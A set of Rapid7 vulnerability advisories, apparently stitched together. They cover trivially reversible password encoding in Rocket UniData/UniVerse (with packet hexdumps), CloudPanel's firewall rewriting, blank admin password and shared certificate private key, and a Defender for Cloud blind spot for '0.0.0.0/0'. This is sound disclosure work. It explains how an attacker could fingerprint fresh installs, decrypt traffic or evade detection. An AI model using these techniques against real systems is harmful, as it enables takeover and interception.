Again, an easily reversible operation (that is also fairly obvious to inspection) does not provide any level of security. This is also directly responsible for CVE-2023-28502 being exploitable, because it allows us to encode NUL bytes as part of an overflow where that would otherwise not be permitted.

Password encoding in U_rep_rpc_server_submain()

The U_rep_rpc_server_submain() function in libunidata.so encodes passwords exactly the same way as udadmin (above), and is used by several different RPC services. It has all the same problems, including enabling strcpy()-based buffer overflow exploits to contain NUL bytes.

Password encoding in udapi_server and udapi_slave

udapi_server and udapi_slave use different (but still trivially decodable) password encodings. Instead of negating each byte like in other services, each byte is XOR'd by the comms_version field, which is a value between 2 and 4 (inclusive).

This is particularly interesting because, in a normal situation, the login message (with the literal account username / password) might have each character in the password XOR'd by 2, which looks like this:

00000000  6c 01 5a 5a 00 00 00 44  41 42 43 44 02 00 00 59  |l.ZZ...DABCD...Y|
00000010  00 00 00 00 00 05 00 00  41 42 43 44 00 00 00 00  |........ABCD....|
00000020  41 42 43 44 00 00 00 00  00 00 00 08 00 00 00 03  |ABCD............|
00000030  00 00 00 08 00 00 00 03  00 00 00 04 00 00 00 03  |................|
00000040  00 00 00 02 00 00 00 05  75 73 65 72 6e 61 6d 65  |........username|
00000050  72 63 71 71 75 6d 70 66  2f 74 6d 70              |rcqqumpf/tmp|

The literal username username is in the packet, but the password is encoded to rcqqumpf. That's somewhat hidden, but very easy to recognize and break.

But if we then enable packet-level encryption, it can XOR the entire message by 2, then also XOR the password by 2, which effectively undoes the encoding and leaves the password (and only the password) visible:

$ ruby ./test.rb | hexdump -C
00000000  6c 01 5a 5a 00 00 00 44  41 42 43 44 02 00 01 59  |l.ZZ...DABCD...Y|
00000010  00 00 00 00 00 05 00 00  43 40 41 46 02 02 02 02  |........C@AF....|
00000020  43 40 41 46 02 02 02 02  02 02 02 0a 02 02 02 01  |C@AF............|
00000030  02 02 02 0a 02 02 02 01  02 02 02 06 02 02 02 01  |................|
00000040  02 02 02 00 02 02 02 07  77 71 67 70 6c 63 6f 67  |........wqgplcog|
00000050  70 61 73 73 77 6f 72 64  2d 76 6f 72              |password-vor|

This obviously isn't an enormous issue, since the passwords are fairly easy to decode anyways, but encoding that undoes itself in certain situations is an interesting edge case of this type of obfuscation.

Remediation

Rocket Software has confirmed they have released patches for customers, available on the Rocket Business Connect portal. If you are running Rocket UniData or UniVerse, the Rocket MultiValue team strongly advises you to upgrade to the latest hotfixes. Specifically, Rocket Software has indicated the patched versions are:

  • UniData 8.2.4 build 3003
  • UniVerse 11.3.5 build 1001
  • UniVerse 12.2.1 build 2002 (available April 14, 2023)

Timeline

  • December, 2022 - January, 2023: Issues identified by Rapid7 researcher Ron Bowes
  • January 24, 2023: Privately disclosed findings to Rocket Software's VDP per Rapid7's CVD policy
  • March 2, 2023: Rocket Software confirmed that they are working on patches and are on track to meet our proposed disclosure date
  • March 29, 2023: Coordinated release of Rocket Software and Rapid7 disclosures (this document)
CVE-2023-0391: MGT-COMMERCE CloudPanel Shared Certificate Vulnerability and Weak Installation Procedures

While using the popular self-hosted web administration solution, CloudPanel from MGT-COMMERCE, Rapid7 researcher Tod Beardsley discovered three security concerns. The first, an issue involving the trustworthiness of the installation script provided by the vendor, was an instance of CWE-494: Download of Code Without Integrity Check, and was quickly addressed by the vendor in under a day.

The second issue was with how the installer overwrites local firewall rules to be overly permissive during setup, and appears to be an instance of CWE-183: Permissive List of Allowed Inputs. The third issue is more long-term; CloudPanel installations all share the same SSL certificate private key. This appears to be an instance of CWE-321: Use of Hard-coded Cryptographic Key.

Product Description

MGT-COMMERCE's CloudPanel is a free solution designed to ease the burden of administering self-hosted Linux servers, and is featured prominently at cloud virtual hosting providers such as AWS, Azure, GCP, Digital Ocean, and many others. More about CloudPanel can be found at the vendor's website.

Credit

These issues were discovered and reported by Tod Beardsley, a security researcher at Rapid7, and is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Exploitation

While experimenting with some self-hosting solutions for personal use, Beardsley discovered three issues that appear to place new CloudPanel installations at risk of opportunistic attacks across the internet.

Pipe Curl to Bash

The first issue, an instance of CWE-494 involving the trustworthiness of the "curl to bash" installation procedure documented by the vendor was quickly addressed by publishing a cryptographically secure checksum of the installation script. The vendor's website now includes this check for a sha256 hash, as seen in the screenshot below.

CVE-2023-0391: MGT-COMMERCE CloudPanel Shared Certificate Vulnerability and Weak Installation Procedures

This hash changes as new versions of the install script are released, of course, so it may be different by the time you read this advisory. A strategy of publishing a cryptographically secure hash and incorporating a check of that hash should alleviate any concern about the usual "pipe curl to bash" procedure for downloading and installing software over the internet. If you trust the vendor's website, and if the vendor's website is itself protected with an HTTPS certificate, then you should be confident that the installation script they provide is actually the installation script you expect to run. We urge other software providers to incorporate a similar hash check for distributing their installation scripts if they must distribute them via "pipe curl to bash" schemes.

Firewall Rule Rewrite On Installation

The instance of CWE-183 arises due to the fresh installation procedure recommended by the vendor in their documentation. During installation, the installation script preemptively discards local firewall rules for the host operating system, replacing them with much more permissive rules.

In the test case, the local firewall rules (as seen by ufw) are pre-set as:

root@debian11:~# ufw status numbered
Status: active

     To                         Action      From
     --                         ------      ----
[ 1] Anywhere                   ALLOW IN    1.2.3.4               
[ 2] 80:8443/tcp                DENY IN     Anywhere  

(Note, the allowed IP address has been replaced with "1.2.3.4")

The above rules state, "Allow any traffic from 1.2.3.4, deny all traffic to ports 80 through 8443 to everyone else." The ufw configuration also concludes with a general default deny rule (not seen here).

During installation, and upon completion of that one-command piping bash to curl installation procedure, these rules are changed to:

root@debian11:~# ufw status verbose
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), disabled (routed)
New profiles: skip

To                         Action      From
--                         ------      ----
22/tcp                     ALLOW IN    Anywhere                  
80/tcp                     ALLOW IN    Anywhere                  
443                        ALLOW IN    Anywhere                  
8433:8443/tcp              ALLOW IN    Anywhere                  
22/tcp (v6)                ALLOW IN    Anywhere (v6)             
80/tcp (v6)                ALLOW IN    Anywhere (v6)             
443 (v6)                   ALLOW IN    Anywhere (v6)             
8433:8443/tcp (v6)         ALLOW IN    Anywhere (v6) 

These rules are, of course, far more permissive, specifically because they removed the deny rules as well as the custom IP address allow rule I had set prior to installation.

Furthermore, upon completion of the initial installation, the superuser administrator account for CloudPanel is blank. This is a problem because, typically, a user would navigate to the host server web panel and set the password to their chosen value. However, once installation is complete, and if the machine is on the routable internet (as is intended), an attacker could visit the same web panel and set the administration user account to their chosen password, thus effectively administrating the machine.

Note, the opportunity for attack is limited, since the legitimate CloudPanel administrator has the opportunity to reset firewall rules once installation is complete. However, when installation is complete, there is no notification that firewall rules have been discarded and replaced, so the legitimate user is left to discover this on their own.

If an attacker does manage to seize control during the vulnerable window of opportunity, they could install the malware of their choice, replace certificates, or otherwise alter the underlying operating system as an authenticated administrator, since the whole purpose of CloudPanel is to ease the task of OS management.

The trick for the attacker, then, is to find fresh installations of CloudPanel. This seems unlikely on the open internet assuming users are quick to set their superuser administrator account password, but issue CVE-2023-0391, described next, makes the job of finding these fresh CloudPanel servers much easier, in an automated way.

CVE-2023-0391: Reused Certificates

Upon installation, CloudPanel ships with a static SSL certificate to encrypt communications to the administrative interface. Because the SSL certificate is generated once by MGT-COMMERCE and shipped with every installation of CloudPanel, this state of affairs is exploitable for two outcomes.

First, because the SSL certificate has a unique but reused public key, searching for unmodified CloudPanel instances is trivial with modern network scanning techniques. All an attacker would need to do is target a given IP address space used by a targeted Virtual Private Server (VPS) provider, and continuously look for HTTPS services running on port 8443 (the default for this web administration portal) and certificates that match the public key fingerprint seen below:

CVE-2023-0391: MGT-COMMERCE CloudPanel Shared Certificate Vulnerability and Weak Installation Procedures

Using these search parameters, an attacker can continuously search, in real time, for new instances of CloudPanel, and then exploit the CWE-183 issue described above. Of course, other techniques exist for identifying CloudPanel instances, but the reused certificate leads to a secondary, more serious problem.

Since the private key also ships with every installation of CloudPanel, and CloudPanel is freely available to anyone who cares to download it, the encryption provided by the HTTPS connection is not trustworthy. An attacker with the private key can easily decrypted captured traffic, either in real time through a privileged position on the network between the client and the server, or later with captured network traffic. In either case, sensitive information such as an administrator password and session tokens would be immediately available to the attacker.

According to Shodan, as of January 18, 2023, there are about 5,800 servers providing a certificate issued by 'cloudpanel.clp`, the self-signed authority found on the shipping default certificate. These servers are found mostly in the United States and Germany (which is unsurprising given that the vendor is a German company), and mostly in DigitalOcean VPS environments. This figure is close to our own scanning with Project Sonar, which has spotted 6,785 running instances as of January 27, 2023.

CVE-2023-0391: MGT-COMMERCE CloudPanel Shared Certificate Vulnerability and Weak Installation Procedures

Impact

By chaining together the firewall permissiveness and the reused certificate issues together, an attacker can target and exploit new CloudPanel instances as they are being deployed. It's important to note that CloudPanel is touted to be an easy to use interface for basic Linux administration, is targeted at relatively inexperienced users, and much of the documentation presumes an installation procedure live on the routable internet with a fresh VPS instance.

Furthermore, it would appear that CloudPanel is currently enjoying a burst of uptake among new Fediverse-aware users (this researcher included). While self-hosting is a perfectly innocent and often virtuous goal for distributing personal and professional content, it does come with some additional security responsibilities that are traditionally taken up by dedicated professional services.

Unfortunately, those dedicated professionals are absent in the DIY, roll-your-own kind of environment encouraged by Fediverse fans, and users are left to fend for themselves when it comes to secure software deployment. In light of this advisory, users interested in self-hosting solutions are urged to be aware of the special security considerations that come along with offering services on the general internet. In years past, this would go without saying, but the late 2022 turmoil around untrustworthy centralized services such as Twitter may be generating a new wave of inexperienced sysadmins on the internet, similar the the surge of general internet usage during the Eternal September of 1993.

Remediation

As of this publication, the firewall rewriting issue, the blank superuser password, and CVE-2023-0391 remain unfixed by the vendor. The issues described in the firewall rewrite issue could be fixed by the installation script taking a snapshot of the existing firewall rules, and programmatically creating a ruleset that incorporates the user's original intent with those rules. At the least, the script should identify, and warn the user, that firewall rules are about to be re-written.

The superuser administrator account should be created with a random, per-install password, and display that password on the console upon completion; once the user logs in for the first time, they could then be prompted to change the password.

Absent a patch for these issues, users should take care to install CloudPanel only on isolated networks in a way that is isolated beyond local firewall rules. Practically speaking, as long as the user is installing CloudPanel attentively, and watching for the moment the web service becomes available, attackers will only have a minute or so of exposure to take advantage of. Local, same-machine attackers aside, this should be good enough for most use cases.

For the second issue, the vendor could provide, as part of the installation script, a mechanism to create a unique self-signed SSL certificate during installation, and conclude the installation by printing the fingerprint on the console output.

Absent a patch for CVE-2023-0391, users of CloudPanel are encouraged to generate and install their own certificate for SSL use in order to avoid being so trivially fingerprintable by automated scans, and in order to ensure that the cryptographic security provided by HTTPS is actually secure against passive monitoring.

Disclosure Timeline

  • November, 2022: CWE-183 and CWE-494 issues discovered by Tod Beardsley of Rapid7
  • Wed, Nov 23, 2022: CWE-183 and CWE-494 reported to the vendor
  • Thu, Nov 24, 2022: Report acknowledged by the vendor, CWE-494 addressed
  • December, 2022: CVE-2023-0391 discovered
  • Wed, Jan 18, 2023: CVE-2023-0391 reported to the vendor
  • Tue, March 21, 2022: This public disclosure
Microsoft Defender for Cloud Management Port Exposure Confusion

Prior to March 9, 2023, Microsoft Defender for Cloud incorrectly marked some Azure virtual machines as having secured management ports including SSH (port 22/TCP), RDP (port 3389/TCP) and WINRM (port 5985/TCP), when in fact one or more of these ports were exposed to the internet. This occured when the Network Security Group (NSG) associated with the virtual machine contained a rule that allowed access to one of these ports from the IPv4 range “0.0.0.0/0”. Defender for Cloud would only detect an open management port if the source in the port rule is set to the literal alias of “Any”. Although the CIDR-notated network of "/0" is often treated as synonymous with "Any," they are not equivalent in Defender for Cloud's logic.

Note that as of this writing, the same issue appears when using the IPv6 range “::/0” as a synonym for "any" and Microsoft has not yet fixed this version of the vulnerability.

Product Description

Microsoft Defender for Cloud is a cloud security posture management (CSPM) solution that provides several security capabilities, including the ability to detect misconfigurations in Azure and multi-cloud environments. Defender for Cloud is described in detail at the vendor's website.

Security groups are a concept that exists in both Azure and Amazon Web Services (AWS) cloud environments. Similar to a firewall, a security group allows you to create rules that limit what IP addresses/ranges can access which ports on one or more virtual machines in the cloud environment.

Credit

This issue was discovered by Aaron Sawitsky, Senior Manager for Cloud Product Integrations at Rapid7. It is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Exploitation

If an Azure Virtual Machine is associated with a Network Security Group with “management ports” such as RDP (Remote Desktop Protocol on port 3389/TCP) or SSH (Secure Shell protocol on port 22/TCP) exposed to the "Any" pseudo-class for "Source," Microsoft Defender for Cloud will create a security recommendation to highlight that the management port is open to the internet, which allows an administrator to easily recognize that there is a virtual machine in their environment with one or more over-exposed server management ports.

However, prior to March 9th, if the Network Security Group was instead configured such that a “management port” like RDP or SSH was exposed to “0.0.0.0/0,” as a source (which is the entire IPv4 range of all possible addresses) no security recommendation was created and the configuration was incorrectly marked as “Healthy.”

The effect is demonstrated in the screenshots below:

Microsoft Defender for Cloud Management Port Exposure Confusion
Microsoft Defender for Cloud Management Port Exposure Confusion

Because of this network scope confusion, Azure users can easily and accidentally expose management ports to the entire internet and evade detection by Defender for Cloud.

We suspect that other Defender for Cloud features that check for the "any-ness" of ingress tests are similarly affected, but we have not comprehensively tested for other manifestations of this issue.

Impact

We can imagine two cases where this unexpected behavior in Defender for Cloud could be useful for attackers. First, it's likely that administrators are unaware of any practical semantic difference between "Any" and "0.0.0.0/0" or “::/0” since these terms are often used interchangeably in other networking products, most notably, as when configuring AWS Security Groups. As a result, this misconfiguration could be accidentally applied by a legitimate administrator, but remain undetected by the person or process responsible for monitoring Defender for Cloud security recommendations. This is the most likely scenario most administrators will face.

More maliciously, an attacker who has already compromised a virtual Azure-hosted machine could leverage this confusion to avoid post-exploit detection by the Defender for Cloud. This makes repeated, post-exploit access from several different sources much easier for more sophisticated attackers. In this case, the "attacker" will often be an insider who is merely subverting their own IT security organization for ostensibly virtuous, just-get-it-done reasons, such as testing a configuration in production, but forgetting to re-limit the exposure.

Note that more exotic combinations of subnets could be used to achieve the same effect; for example, an administrator could define "0.0.0.0/1" and "128.0.0.1/1" which would have exactly the same effect as one "0.0.0.0/0" source rule. Or, even more cleverly, define a set of subnets that adds up to "almost any," which would be good enough for a thoughtful attacker to ensure continued, un-alerted exposure. However, this kind of configuration is extremely unlikely to be implemented by accident (as described in the first case), and thus, is almost certainly beyond the reasonable scope of the Defender for Cloud use case. After all, Defender for Cloud is designed to catch common misconfigurations, and not necessarily an intentionally confusing configuration.

Remediation

Since Defender for Cloud is a cloud-based solution, users should not have to do anything special to enjoy the benefits of Microsoft's update. With that said, customers should remember that the update has not resolved the issue when using the IPV6 range ::/0 as a synonym for “any.” As a result, customers should search their Azure environments for any Security Groups configured to allow ingress from a source of “::/0” and seriously consider reconfiguring these rules to be more restrictive. In addition, customers should regularly subject their cloud infrastructure to auditing and penetration tests to verify that their CSPM is actually catching common misconfigurations. We have already validated that this issue does not impact Rapid7’s InsightCloudSec CSPM solution. In addition, Defender for Cloud customers who have previously used the "/0" CIDR notation in their security group rules should review access logs to ensure that malicious actors were not evading the presumed detection capabilities provided by Defender for Cloud.

Disclosure Timeline

January 2023: Issue discovered by Rapid7 cloud security researcher Aaron Sawitsky
Wed, Jan 11, 2023: Initial disclosure to Microsoft
Thu, Jan 12, 2023: Details explained further and validated by the vendor
Mon, Feb 6, 2023: Fix planned by the vendor
Thu, Mar 9, 2023: Fix for "0.0.0.0/0" confirmed by Rapid7
Tue, Mar 14, 2023: This disclosure